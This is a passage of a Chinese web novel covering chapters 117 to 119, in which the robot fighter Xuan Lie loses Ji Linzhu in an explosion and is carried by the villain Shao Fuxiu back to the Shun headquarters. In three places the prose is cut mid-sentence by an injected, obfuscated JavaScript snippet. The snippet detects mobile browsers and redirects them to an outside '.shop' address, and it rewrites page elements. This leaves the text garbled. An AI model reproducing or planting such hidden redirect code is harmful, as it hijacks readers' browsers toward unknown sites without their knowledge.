玄烈怕盾撑不住,刚打算伸出手触碰盾的边缘,“噌”的一下,盾消失了,一块有三毫米厚、形状不规则的金属片扎进了玄烈的手掌。 痛到呲牙之时,他忽地发觉自己被带着飞起来了。 爆炸营造的高光很快隐去,玄烈原先以为是纪凛烛害怕站在地面会受伤所以收起了盾带他来到了高处。 可明显不对啊。 一只手强而有力提着玄烈跃上了屋顶,他眼睛被晃得痛,等站稳后勉强睁开眼,玄烈模糊中看到旁边站的的确是纪凛烛。 但不只是纪凛烛。 一盏更大的盾罩在他们头顶,盾将一切有威胁的残片反射出去,有不少躲过了爆炸直接伤害的机械体没躲过盾反弹出去的碎片,下面的惨叫凄厉无比。 玄烈忍着痛拔出插在手上的金属片,带出了哗哗流淌的鲜血。 灼琛闷哼一声,琀珏浅浅看了玄烈一眼,低声说道:“废物。” 117. 纪凛烛(2) 纪凛烛莫名陷入了恍惚状态,她额角唰唰流汗,双手手指上的金属尖刺都还完好地套着,唯有她左手食指的尖刺被她攥在手里,有血从她指甲缝渗出,汇聚成一滴一滴砸落。 盾是琀珏用手掌凝结能量促成的,呈暗灰色,从盾内往外看什么都是灰蒙蒙的。 当玄烈听到琀珏口中蹦出来那两个骂他的字的时候,爆炸的劲已经缓过去了,还活着的机械体纷纷从死机械体堆里爬出来,一个两个都开始爬墙准备继续追他们。 相信灼琛和琀珏这两个人是来救他们才是见了鬼了。琀珏将盾收起来的空隙,玄烈给了他左边的灼琛一个肘击,一把将纪凛烛扯向自己,转身就跑。 琀珏却像闪现一般传送到玄烈面前,挡住他们的去路。 纪凛烛拍了怕玄烈的肩膀,表示自己可以站稳,但她一只手始终死死抓着玄烈的手臂,怎么看都不像完好的样子。 深沉的呼吸在身边一叹一叹,玄烈实在担心,“你没事吧?” 琀珏从袖中拿出一小物件举在脸边,玄烈认出这就是韶赋修手中那个病毒启动器。 血和汗水啪嗒啪嗒坠于地面,纪凛烛暗暗对玄烈说:“如果不是林老师曾经净化过这第二只机械臂,我恐怕……已经死了。” 即使纪凛烛说得再小声,琀珏也听得一清二楚。他脸上半点笑容都没有,手将推杆用力拽回原状,像是专门拽给玄烈和纪凛烛二人看的。 停滞两秒,琀珏轻声说。 “我怎么会让你死呢……” 一批机械体已然顺着水管房檐跟了上来,枪战从地面蔓延到上方。灼琛举着手枪来一个秒一个,但苦于人还是太多,不一会儿就又形成了一堵机械体墙往这边推进。 玄烈倒是真想和这群“自己人”打琀珏和灼琛个落花流水,可惜现在的众矢之的是他自己。 他扬出库星锥向直逼琀珏而去,抛开步步靠近的机械体,他们俩倒先打了起来。 玄烈清晰地记着上次与炬灼那一战的细节,包括琀珏附身炬灼时所用的战术和套路。 琀珏从头到尾给玄烈的印象都是新,新到就像来自未来的新新人类。他的外貌、穿着、气质,战斗时所用的招数,干净到似乎从未受伤过的身体,排斥所有而独树一帜的性格。 这也是玄烈莫名对琀珏很有敌意的原因。他是旧的、伤痕累累的,就连他所珍视的人第一次喜欢的对象也不是他。 这么想着,玄烈手下就施力再施力。 他是第一战备,是不会输的神话。 带血的手握住库星锥把,锥刃燃出狠骘的蓝火,清冷又热辣的气焰在他身边圈成一环青绿色的旋风,玄烈每次转身冲刺横砍直劈都用尽了完全的力气。 琀珏到现在都还没亮出他的武器,只一味的用拳掌抵挡。 新造的又怎样? 一招稳健的侧击,玄烈麻利地刺破了琀珏格挡的手,露出内里暗蓝色的金属板。 没猜错,这个琀珏无疑是个机器人,和他们一样的机器人。 那么他几年前和纪凛烛的相识,全部是别有用心的安排,从头到尾都是。 琀珏在被划伤后没有停息,他下一拳捣向了玄烈脸颊,玄烈后撤一步要躲,却被后方射来的一颗子弹击中了肩膀。 玄烈感觉他的皮肤“嘭”的一声炸开来,痛苦接踵而至。这不再是之前那些攻击力平平的枪械了。他吃痛回头看去,发现正是之前拦住他喊他“老大”的一个小孩。 纪凛烛一拳砸飞了小孩,又被另一只抓住了手。灼琛后旋踢旋倒了一拨人,但不致命,打来打去还是徒劳。 “碎片给我。”琀珏冷眼向玄烈摊开手。 手心和肩膀的疼玄烈忽视不了,他只能尽力去打。拍开琀珏的手,玄烈继续保持着自己的节奏进攻。 可纪凛烛被触发的病毒不是关掉开关就能平复的,她越拼命,事态就会越严重。 在余光瞄到纪凛烛因腿被砍了一刀而无助半跪在地后,玄烈抽回库星锥的进攻转而朝琀珏腹部踹了一脚。 琀珏后退几步,玄烈拦起纪凛烛一跃跳下房檐,向北方跑去。 原先平坦的空地被炸得坑坑洼洼,到处是零零碎碎的残肢碎片。玄烈抓着纪凛烛的手,抓了一手的血。 血迹沿着他们奔跑的方向淌了一路。 他们跑了几百米,纪凛烛的伤非但没有减轻,反而越来越重了。 不是所有的人都被甩在最后,前方围追堵截的人形成了一个天罗地网正等待着他们的扑入。 玄烈还是不会飞,不管他怎么尝试,始终做不到像伏策那样。 灼琛也绕路赶到了他们面前。他眼睛隐隐发着狠,一半怨愤又一半无可奈何,“跟我们走。” “不可能。”玄烈甩出库星锥,让其自行去攻击灼琛。 纪凛烛推开玄烈的手,虚弱地说:“不要管我,玄烈,你带着碎片先走,他们的目标不是我。” 机械体潮蜂拥而至,很快又将这里围得水泄不通。 四周已经没有一处制高点可以安身了,玄烈端着库星仓皇地向周边胡乱发射着子弹。 半晌,琀珏从空中走来。 真的是走来,玄烈确保自己没有看错。虚幻无形的空气仿佛在琀珏脚下变成了实体,他无视着海浪般波涛起伏的嘈杂人群,极其优雅地踱着步走来。 不知是后面赶来的谁带来了□□,大老远就“嘭嘭”喷着火焰。 一颗耀眼炮弹势不可挡地炸翻挡路的机械体呼啸而来,琀珏弯腰一探,抓起纪凛烛的手腕就将其带上高空。炮弹引爆时,灼琛也绕道从后拽起玄烈的衣领,蹬地一飞冲天。 光团与烟雾飘散,火焰正好从他们曾落脚的地方引燃。 灼琛手劲很大,他一改往常儒雅的形象,就算衣衫不整脸颊带灰也要把玄烈带到高空去。 玄烈扳开灼琛的手,刚想说什么,灼琛就掉过身来双手急切地死抓起玄烈的衣领。 不止眼睛,灼琛此刻从头到脚都是通红的,他把牙咬得“咔咔”响,青筋暴起在颈侧与太阳穴,脸颊抽动,眉头紧锁。 “当时在海上,你为什么不拽炬衍一把!” 灼琛几乎是喊出来的。 “你但凡伸手,他都不会死!” 纪凛烛挣扎着要推开琀珏的束缚,一阵风掠过,缠在发圈上的手绢飘了出去。与此同时,库星锥归位,玄烈来不及回答灼琛的问题,挥手给灼琛的手来了一刀。 灼琛痛得手一斜,玄烈身体一歪,那玉一样剔透的小东西从口袋掉出,随着那丝柔轻滑的手绢一齐掉入了人海。 纪凛烛喊了一声,手腕金属环一转,白紫色电流从指尖劈里啪啦传入琀珏手臂。 她猛地一推,推开了琀珏,整个人失落地坠了下去。 没有声音,就这样淹没在人群中。 仿佛一根筋绷断了,玄烈想都没想就将库星锥扎向灼琛。刃尖划破了灼琛心口的衣服,他松开了手。 玄烈手紧紧握着库星锥亟待冲下去破开人群找到纪凛烛和碎片,但他只是失重地摇晃了一下,诡异地漂浮在了空中,想掉却掉不下去,如被困在囚笼里。 玄烈看向琀珏,发觉他正出神地盯着被电击的指尖,另一手空空对着玄烈,掌心隐隐有气团翻涌。 是琀珏不让他掉下去,是琀珏用能量趋势一个看不见的空气泡,让玄烈眼睁睁看着下方人潮汹涌可就是不见纪凛烛的影子。 怒火不仅燃烧在玄烈心口,他整个人都沸腾了。他咬牙颤抖得越厉害,伤口处的血就越发奔涌。 血红色的水珠和雾气从他身体钻出,蒙住他的眼睛,阻塞他的口鼻,空气滚烫,如同能量泄出又倒流,把他身体搅和得像个沙漏,颠来倒去,难受至极。 玄烈摸到了那空气罩的壁,“阿烛,阿烛!”他边喊边一拳一拳狠戾地砸,却只发出一声声闷响。 无论怎样就是攻不破,冒红光的库星锥也不行。他拿库星锥“噌噌”地磨,一点效果也没有。 时间拖得越长越没有好处,玄烈拿出了库星。 像刚才那样,制造一场强大的爆炸吧。把自己炸伤也没关系,只要能出去,只要能找到她…… 玄烈闭上双眼默念着心里的愿景,能量一层层灌入库星枪管。他的能量本是不足以支撑短时间内二次让库星超进化的,但玄烈顾不得那么多,用尽全力也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韶赋修轻笑两声,笑声清幽,玄烈看到他手里捧着的一枚小型开关。 不是病毒启动器,只是个平平无奇的按钮,仅此而已。 莫名有“咚咚”声响起,如雷贯耳,玄烈的世界就只剩下这心跳一样的声音。 “给你看场表演,怎么样?”韶赋修微笑着说。 玄烈没听清韶赋修的话,脑海里始终回荡着那个声音。双手失措地贴在腿侧怎么都使不上力气,内脏分泌的酸水在胸腔里打滚。 千万不要有事…… 玄烈不信神,此刻却空洞地在向虚无祈祷。 “很快的。” 韶赋修话落,按钮被一摁到底。 玄烈目光刚迟钝地转移到韶赋修手中的按钮上,“轰”的一声,巨响扩散开来,像是一颗浇着岩浆的流星落入市中心游乐场。 刺目的彩光眨眼间爆发,尖锐光束像针团一般掩盖住半片市区,狂风掀起周遭房屋天顶,从地面连接至天空。 剧烈爆炸产生的巨型蘑菇云腾然上升碰撞,八千里烟尘飘荡,封闭住生灵呼吸的渠道,伴着天边夕阳流转而成的火烧云延绵深远。 此刻,似有无数肉眼难见的钢索横在每个人的咽喉处,心如刀绞。 极致光明过后是暴风雨来临之前的晦暗,转眼阴云来袭,腾飞的烟团高耸飞升,融进灰色的阴霾中。 远处站在将倾大厦顶端的玄烈痴痴地望着眼前一切。 再没有什么是支撑着他的,虽然他依旧定定地站着。每颗螺丝都在边发出怪异声边缓缓松动,电流开始不平稳地断断续续,浑身上下的痛觉系统同时开始不间断猛烈运转。 脑中是空白还是混沌。 后台画面中的蓝天白云被摧毁,小羊静静躺在荒原中。 心口猛地钝痛,伴随闷闷的声响,忽然有小型爆炸在胸腔发生,玄烈忍不住弯腰捂着心口,痛苦的呜咽声从嗓中被丝丝挤出,喉咙腥甜,温烫热流不受控地涌出。 “噗”的一声,玄烈口喷鲜血。 他再望了眼阴霾密布的天,坠下高楼。 118. 痛觉与梦(1) 墨色浑浊涛声将玄烈淹没,周遭一切声音瞬间被隔绝。海浪在头顶很远很远的地方翻涌,水流从伤口钻入,很快灌满了他的躯体。 那种被别人占据自己身体的感觉,玄烈也感受到了。 如果有一天打开那实验室取到芯片,那么真正第一战备的智识芯片该作何处理呢? 是不是该把这具身体物归原主呢? 那到时候他自己的芯片又该按在谁的身上?阿烛还会认得他吗? 咸腥海水蛰得他好痛,玄烈紧紧闭着眼睛,无论怎样都睁不开。 很久没有这么冷过了,记忆里冷到浑身散架的感觉还是数年前在地下室见到红衣女人的那次。 渐渐的,一点点淡黄色荧光穿过眼前的雾障投射而来。感受到温暖,玄烈这才敢慢慢张开眼。 是一只拳头大小、头顶长着圆墩墩如南瓜灯笼的小灯鱼。 玄烈想伸手去拦,可肢体在水中的行动太迟缓了,他刚抬起来手,小灯鱼就感受到玄烈手推来的水波,掀得它差点肚皮朝上翻了起来。 连忙稳住身体,小灯鱼朝玄烈晃了晃头顶的灯笼,表示不满,随后向前方甩着尾巴游远了。 光点缩小直至消失的刹那,玄烈眼睛一晃,回到了游乐场这一天。 彼时他正站在游乐场大门口。因为没有买到机器人专用票,他被保安大爷拦在门外。 铁栏杆处,纪凛烛踮着脚摇晃着手臂给他指挥哪里才是买机器人专用票的地方。 等他终于进了门,才发现不只是纪凛烛一个人。 炳灿、阿盼、炬衍和灼琛都在,他们都跟着纪凛烛趴在栏杆边迎接玄烈走进来。 “太慢了吧!”炬衍夸张地大大打了个哈欠。 “喂,”炳灿推了炬衍一把,“玄烈之前也等过你吧!你就那么懒啊!” 有炬衍在,阿盼都没办法插进去和炳灿拌嘴了。灼琛微笑着朝玄烈点了点头,双手插兜看着阿盼炳灿和炬衍边打闹边往游乐场里面跑。 摩天轮还很远,待小伙伴们走远了,纪凛烛停下脚步,仰起脸笑眼盈盈地问玄烈:“你想跟我说什么?” 白色花瓣随风飘落,洋洋洒洒如小粒绒毛,玄烈抬起热热的掌心,“我记住了,你说这种花,叫六月雪。” 纪凛烛满意地眯着眼点点头,旋即要往前走,玄烈却抓住了她的手。 “阿烛,多亏了你,我学会做梦了。”玄烈故作轻松地说。 她的笑容幻化如海市蜃楼,强烈的风裹来一阵形似激流银河的六月雪花瓣。 一眨眼,她消失在玄烈眼前。 只恨这场梦过于短了,不过也勉强能支撑玄烈一阵子。 平滑硬实的触感最先从指尖传回,而后是他扭曲躺在地板上的冰凉感,从肩颈到腰怎么都不舒服。 他曾经在舜氏那么不受待见,都没人让他睡过冷地板。想到这里,他心里对韶赋修的怨恨又加深了一分。 这里没有强光照射,不需要挡着眼睛。天像是已经黑了,他所待的这小空间却没怎么开灯。 玄烈撑着地缓缓坐起来,全身的伤口仍然留存着浓淡不明的血迹。嘴角的血也淌干了,但他现在咳嗽两声也仍能咳出两丝血沫来。 身体不再那么疼,更像是麻痹了,玄烈没能一下子站起来,他有点头晕。 恍惚中看见一个人影坐在窗户边。那么大的窗台,他一个人影就占了整扇窗。 玄烈现在能稍微平心静气面对韶赋修了,虽然他无比想一刀直接把他捅死。 捅死也不能解恨,不能让他死得那么利落。 “你醒了?” 韶赋修的声音投出窗外又飘了回来,玄烈使了半天力才勉强站起来。 但他还不能站直,因为仿佛背后有根筋断了。他伸手摸到自己背后有一条长达三十厘米的口子,一碰就麻麻的。 从那么高的地方摔下来即使不变成碎末也不该剩个全尸吧? 玄烈轻点着伤口表面,想分析出这是什么玩意儿造成的口子,就听到韶赋修又说话了。 “多亏你的阿烛,”韶赋修不知道在想什么,他抬头直直望着漫天繁星,失去了往日的嘲讽感和锐气,“据说那根架在窗户边的杆子是她捕捉柳絮用的。” 韶赋修转过脸,玄烈几乎看到他面具后的人类眼睛。 但那还是错觉,因为舜真曾说韶赋修二十年前就不再使用自己属于人类的身体了。 眼前的韶赋修充其量就是他意识所驾驭的傀儡,仅此而已。 “不偏不倚挂在那杆上,你真的够幸运啊……我还挺想看看你是不是会这么轻易就死掉了呢。” 听此,玄烈心如鼓擂。那场梦,和他昏迷时做的全部的心理建设,险些在这一刹那崩裂殆尽。 他尤听得到那日天台之上,迷蒙的温和阳光包裹着她,白花花轻甸甸的大团柳絮就躺在她的掌心。 她说:“玄烈你看,大得像云……” 玄烈暗自狠狠掐着自己的手,迫使自己把注意力收回。 他没有搭韶赋修的话,他强撑着一口气,装出思绪还在神游的样子,实则暗自观察周遭的环境。 这里不是舜氏大楼,当然也不可能是。 这里海拔高得过于奇怪,从这里望出去大约能看到远处建筑一片荒凉颓唐的景象,那里大概就是市中心,以游乐场为圆心,完整炸出了一个平坦的圆。 再眯着眼睛远眺一会儿,就能看到簇簇团状云朵下方矗立着的舜氏大厦。 离得太远了,玄烈完全想象不到他们究竟在什么地方。 这里像是个办公室,被震碎的灯管散落一地,靠墙有办公桌和书架,书籍纸张也乱七八糟掉了一地。还有不少看似年代久远的瓷瓶和金玉蟾蜍,也烂成一堆,月光中隐隐发亮。 怎么感觉这里也是遭遇过爆炸的样子。 同样借着月光,玄烈能从脚下大理石地板看见自己的影子。 视线谨慎地顺着地板纹路游走至韶赋修脚下,他在倒映的影子中发现了不对劲的地方。 韶赋修上半身靠在窗户一边,一条腿蜷着踩在窗台上,另一条腿耷拉在屋内。 就在他垂在屋内的这条腿上,玄烈看见了一个直径十厘米的洞,像是被火炮击中所致。边缘焦黑,从外向内灼烧了有四五厘米深。 光线太差,他看不清伤口的全貌。 静谧的夜空,两个机器人无言。 玄烈猜不透韶赋修在想什么,他只纳闷为什么看不到舜氏出兵,没有人关心这场爆炸吗?还是说韶赋修的伤口就是舜氏人造成的? 脚步声从身后的走廊传来,一步一步,清脆利落地踏在地面,走得不快,声音很响。 “老师,我回来了。” 是琀珏。 玄烈没有做出反应,琀珏便又踩了令人生厌的步子走到玄烈身边与之并排。 他一脸漠然,气场清冷得仿佛人靠近一分都会被冻伤。 两人相隔两三米的样子,琀珏的造型仍然一丝不苟,相比于站都站不稳的玄烈,他显得格外气宇轩昂。 “找到了吗?”韶赋修问。 琀珏一改往日爽利的性子,面对询问竟犹豫了,“……没有。” 韶赋修那张铁脸移向屋内,凛冽月光打在琀珏脸上,照着他冷若冰霜的脸。 “那你带回来了什么?”韶赋修语气含怒。 琀珏从袖中取出一染着红色点墨的小团纸,递在韶赋修面前。 不对,玄烈猛地眨眨眼睛,那不是纸。 是被血染成红色的手帕! 小熊、仙鹤、银河……所有绣成的纹样全部被血浸透,彩色丝线被深红色背景衬成生硬的黑色,婉转的走线现在看起来一针比一针尖锐。 梦幻般的景象猛然间被置于地狱,梦里被淹入深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156566|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海的窒息感再现,玄烈没控制住胸腔腾跃的液体,嗓子刀剌一样酸痛,咳嗽一开始就停不下来,血沿着他紧捂着嘴的指缝间滴落。 琀珏厌弃地瞥了玄烈一眼,玄烈也不管咳到昏天黑地,冲上去就要夺那手帕。琀珏伸手用力扎进玄烈肩膀的伤口,玄烈也卯足了劲给了琀珏一拳。 拳头落在脸上发出“嘭”的一声,琀珏手里抓着手帕始终不肯松手,玄烈抢不过,手里的血抹了琀珏一手臂。 反应过来的琀珏愤怒地抬腿狠狠踹了玄烈一脚,心口正中一击的玄烈向后飞了出去,口中喷溅出的鲜血在空中扬了一道绽着花的弧线。 后背砸在地面上,倒是不觉得疼,手帕边角柔和的触感仍留存在手心,玄烈抹了抹嘴边的血爬了起来。 “好了,”韶赋修适当地插嘴用来展示他的威严,“琀珏,把东西给他。” 韶赋修不说不要紧,他一说,琀珏冰山一样瘦削的脸庞如火山积年累月的旧雪融化,眼睛里都要冒出火来,拳头因紧攥而一半红一半白的要命。 浅看了眼身上玄烈的血,琀珏发狠地甩了下袖子,仇视地将手帕丢给了玄烈,随即摆过眼神,不肯再看他一眼。 拿到手帕的那一刻,玄烈紧绷的心神近乎要崩塌了。 他勉励自己不要想、不要陷入回忆,先离开这里再说,能活下来再说。 韶赋修若有似无地轻笑了一声,跳下了窗台,“玄烈,知道这里是哪吗?” 这里不在市区,却又穿过市区,与舜氏高楼对望,那就是在舜氏南方。按距离估算,大概已经到了神庙附近。这高度,势必是神庙上方。 至于这建筑的实体……遭遇过袭击,但不像是新爆炸留下的痕迹。而韶赋修能够像主人一样安稳地待在这里,就连琀珏也能随意进出…… “折叠迷宫。”玄烈说。 韶赋修笑了,笑得很难看,“多亏你们提前干掉了时间神,这下我没有后顾之忧了。神庙……的确是个安静的好地方,涂云落脚在这里,我很满意。” “别说废话,”玄烈快要压抑不住他的怒火了,“你现在准备好要铲平舜氏了?” “还没有,”韶赋修答得倒是干脆,“有意思的内容还没有展开,我不着急。” “有意思的……” 玄烈转着他那头疼欲裂的脑袋,忽地跳出一不详的想法。 “你要启动世界颠转?” 韶赋修呵呵地笑,“舜真想见舜希很久了吧,你回去可以告诉她。相见的日子不远了,记得提醒她做好准备。” “要说你自己去说,”玄烈稳住了他那千疮百孔的躯体,和内在涌动的能量,“我没兴趣当传话筒。” 琀珏轻哼一声,“你最好珍惜每一次当传话筒的机会,毕竟再过不久,你恐怕就说不出话来了。” “无所谓,”玄烈死死盯着琀珏的眼睛,“但那一天一定在你的死期之后。” 琀珏那阵阵阴冷鬼气在玄烈的挑唆下越发活跃,他恶狠狠地抬脚要朝玄烈这边靠近,但被韶赋修挡了下来。 “这里暂时用不到你,回去吧。一会我要离开这里,迷宫就交由你运营。” 韶赋修打发随意,琀珏却不敢不听命令。玄烈看见他临走时后槽牙都快咬碎了,身体更加好受了一些。 “和平远比建立一个完美政权更重要,这不是你所推崇的吗?”韶赋修抱起手臂,“给你这个机会。说服舜真,放弃死守她的一亩三分地,如果她不想看到整座永璃岛的人都为她陪葬的话。” “我可以走了吗?”玄烈嗓音干哑地问。 “当然可以,怕你找不到回去的路……”韶赋修走到玄烈面前,“我送你回家。” 说着,韶赋修伸手抓住玄烈的衣领。 玄烈刚要将其推开,风驰电掣间,他被韶赋修抓着横飞出窗外。 阵风肃起,他穿进漆黑天幕下韬晦的层层云雾。 119. 痛觉与梦(2) 不同于之前被炳灿托着跃上高空,也不像擦着波涛海面靠惯性滑翔,玄烈这回真真切切是以飞翔的形式穿过云层和城市。 只可惜是被韶赋修拽着飞的。 在韶赋修那钢铁大块头子手里,玄烈就像个精致小挂件,被抓着后领在空中一甩一甩,任风刀削一样蹭着他的脸。 垂着身体望着下方,城市失去了以往灯火辉煌的模样,玄烈现在眼里只剩漆黑一片。那深不见底的阴暗,迷雾蒙了一层又一层。 再让玄烈从这里跳下去,他倒真的害怕了。 韶赋修速度很快,堪比流线型飞车,玄烈视线里仿佛有唰唰划过的线形星光。他尚未适应心里颠三倒四的打鼓,就感觉到韶赋修似乎在减速。 前方逐渐亮了起来,大概是要到舜氏驻地了。 勉强抬起头朝前看去,一束明亮如灯塔的强光打在他和韶赋修身上。玄烈抬起手挡在眼前,这才看到了灯光后方排列着的斩翼军。 它们一个个展着炫目翅膀,头盔上的透明智能屏全都泛起蓝光,蓝光之后的眼睛一双比一双僵冷。有它们在,舜氏一时半会用不着出动战机。 刹那间,强光有几分减弱,舜氏大厦通体绽放暖黄色的光。红色射线在玄烈身上扫来扫去,警笛声响彻云霄,他看到地面立着比斩翼军数量庞大好几倍的黑寂军,枪支炮口齐齐对准他们。 韶赋修于半空悬停,他炫耀一般特意提了提手里的玄烈。顺着他的目光望去,玄烈看见不远处大厦楼顶稳稳站着的女人。 夜晚天凉,她围了一条水墨色纱巾,纱巾一角随风飘出海浪的形状。 舜真环着手,头微微仰,面无表情地直视着高处的韶赋修。她的身边没有一个护卫,坦然的脸上写着对韶赋修的不屑。 他们没有对话。枪声火声爆发之前,舜真朝她身侧轻轻扬手,动作幅度不大。一个穿着战术马甲的年轻人猫着腰畏畏缩缩跑了上去说了点什么。 随后,玄烈清晰地捕捉到了舜真的口型。 她说“打”。 在厉害的人也有疲惫的时候,何况玄烈还总觉得自己跟废柴小白没差。一颗颗火焰弹火烧火燎地飞来时,他突然有种冲动。 不想躲了,随便怎么着吧。 子弹不比从他脸庞擦过的风厉害多少,在玄烈眼里这俩带来的感受就是一样疼。 驱散黑暗的光竟是一条条直冲他眉心而来的激光射线,那些他亲手亲眼清点的士兵正朝他无情地投射炮弹,他从被寄予厚望的压箱之宝变成了可以随意被牺牲的人。 如果几个小时前舜真做了同样的决定,干脆利落地弃掉那些没用的废物而保全碎片和芯片,碎片就不会丢失,纪凛烛就不会死。 没有永恒的伙伴,所有的并肩而行都是有条件的,没有永远的同盟,转身的瞬间谁都可以变成敌人。 生和死都有别样的意义,没有所谓的牺牲。 这是舜真给玄烈上的第二课。 震耳欲聋的“轰”声迎头砸来,就在玄烈要放弃的时候,抓着他的手却又紧了几分。 光弹融合在斩翼军翅膀上的射线中如同流星漫游银河,韶赋修突然带着玄烈开始边躲避边闷头往“银河”中冲撞。 韶赋修的身体在光里穿来穿去,夜幕挂着的繁星如子弹一般飞远,枪炮声全都变成了为他翱翔伴奏的鼓点,玄烈也随着他悠来悠去。 狂风叱咤,一条射线蹭着玄烈手臂扎向远方,在他手臂留下一条焦黑的痕迹。他盯着那条光看,无比希望自己此刻能像那缕射线一样消失在风里。 普通的炮火拦不住韶赋修,他双瞳冒火对着眼前那栋越来越近的庞然高楼,迫不及待要做在外游历数十年最终功成名就归来的王者。 他一头直接撞翻了一串斩翼军,彩色翅膀破碎散落,这些没有灵魂的士兵代替玄烈完成了粉身碎骨和坠入深渊,残余的激光掠过他身体,又留下几道代表怨念的伤痕。 韶赋修如一颗导弹急速坠落,空气擦出火烟。舜真嘴角微搐,拽过年轻人呈上来的火狙,对着韶赋修“嗵嗵嗵”就是好几枪。 这不是普通的子弹,其燃着的也并不是普通的金黄色光,而是趋近于玫红的妖异色彩。声音很小,映不出立体的光,鲜明得像是印在夜空的贴图。 韶赋修目标是舜氏大楼中层一圈清明敞亮的玻璃落地窗。他身形翻转在火狙发射出的子弹阵中,快得就剩下一丝残影。 而舜真要打的正巧就是残影。 韶赋修一心闯入舜氏,略略一毫预判出差错,他的腰腹就被那鲜艳的子弹打中。 玄烈听到子弹在密闭金属空间中爆炸的闷响,韶赋修身体一斜,二人一同歪倒地砸进那片玻璃。 玻璃劈里啪啦的破裂声响浇灭了外圈呼啸的进攻声,韶赋修“哐”的一声砸在地上,玄烈也重重倒地,还狼狈地滚了两圈。 韶赋修倒是能立马站起来,腹部被烧了个大洞,也拍拍灰尘和没事人一样。 玄烈就不行了,他脑瓜子嗡嗡的,手上脸上扎满了玻璃碎渣,强撑了好几次都没能顺利地站起来,只好跪在地上,双手撑着到处是碎渣的地面,尽力让意识清晰一点。 人们挤在房间内侧,全都惊慌失措地看着他们,一副想逃又想看热闹的样子。 这里是第二战规部,韶赋修环视着偌大厅室内和二十年前一般无二的装潢,淡淡笑意在嘴边扬起。 这里宽敞明亮,淡黄色灯管嵌在天花板一块块方块石砖边缘,墙边也隔三步见一灯条匿在墙缝中的灯条。 舜真拨开人群到达这里,不一会儿伏策、阿盼和绯篱也接连跑来。韶赋修开口的间隙,安了一条义肢的程炼和杨宁也赶到此处。 韶赋修一把将玄烈从地上抓起来,往众人方向一推,“我来送他回家。” 玄烈尚且头晕目眩,听到这话突然有种想笑的冲动。他浑身伤痕累累,旧血未消又有心血沿着伤口洇出。要说这样的他是个机器人,那才真是见鬼了。 半晌,没有一个人肯站出来,哪怕朝他走几步。 “很好,”韶赋修走到玄烈身边,“成为强者的第一步,是别人对你有了敬畏之心,你大可以享受这种恐惧又崇拜的目光。” 玄烈没有回答,韶赋修又朝舜真笑道,“怎么样小真,终于马失前蹄了吧。认为不用干涉,把他自己放在绝境里就能完成更进一步的成长?你心挺狠的啊。” “你拿到碎片了?” 开口第一句,舜真问的是碎片,和玄烈半毛钱关系都没有。 韶赋修神秘地摊了摊手,舜真神情更加冷峻了几分。 看样子第三碎片不在舜氏,玄烈默默盘算着。如果不在这,那么很可能就在韶赋修的手里,或者它仍躺在爆炸残骸中心,总之不像是会被某个机械体捡去,因为他们绝对瞒不过铺天盖地的广播,也没有能将其藏起来的能力。 程炼走到舜真身边轻轻摇头。 摇头是什么意思?追踪不到?还是表示它不再韶赋修那?抑或是表达“没错,就是在韶赋修手里,我们都完了”? 如果在韶赋修手里,那他刚才让琀珏出去找什么?只是为了这手帕吗? 就算在他手里,藏在哪里不会被发现呢?目前只有一个地方。 折叠迷宫。 玄烈的头脑在这一刻明朗,原来韶赋修不完全是要吞噬潼氏占据舜氏,他打从一开始就有启动世界颠转的想法。 比炮轰和杀戮更加直接,直接到把这座岛整体推翻,把所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165992|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的反抗与不屈暴力掩盖在世界的背面,从一方崭新的天地来建立他的政权。 然后呢?玄烈脑袋轰隆轰隆运转。怎么做? 他想起舜真的话。 ——在韶赋修的操纵和误导下,第一战备不慎触发了世界颠转的按钮,变成傀儡…… 所以韶赋修才不会让他死啊! 庆幸的是,玄烈在意识清醒时想到了这一点,因为下一秒,韶赋修就要让他给舜氏一点颜色看看了。 玄烈没听清他们方才的谈话内容,总之是你来我往几句不客气的话。韶赋修不屑一顾地拿出一枚小物件,物件上的推杆在暖盈盈的灯光中显出金属光泽。 “小真,是你亲手把他再次送上了这条路,打一开始你就该知道结果,”韶赋修手握推杆,“你不信,那就试试看。” 推杆被推动发出的咔咔声截断了在场人们的窃窃私语,刺耳又漫长。很费力似的,韶赋修下了死力气才将推杆推至中点。 伴随着“嘣”的一声,似乎已经启动到了第一个挡位。玄烈清楚记得,琀珏就是使用这个档位削弱了纪凛烛的力量。 恨意涌上心头,玄烈伸手想去抢。可这个念头仅仅停留在他脑海里,他这么想着,无论如何也做不出动作伸不出去手。 韶赋修拼命将推杆再往尽头一扳,才到三分之二的位置。 玄烈看在眼里,头顷刻间爆发出难以抑制的疼痛。 他先是被这难以容忍的痛感击得一懵,随后便痛苦地双手紧紧贴在太阳穴上,用力挤压着脑袋。如同一条生了锈的带电线虫啃食他的大脑,并不间断钻来钻去,金属生了锈钝郁又生满参差不齐横叉倒刺的边缘将他脑壳内壁搅得凌乱不堪。 很快,比疼痛更让他难受的感觉出现。 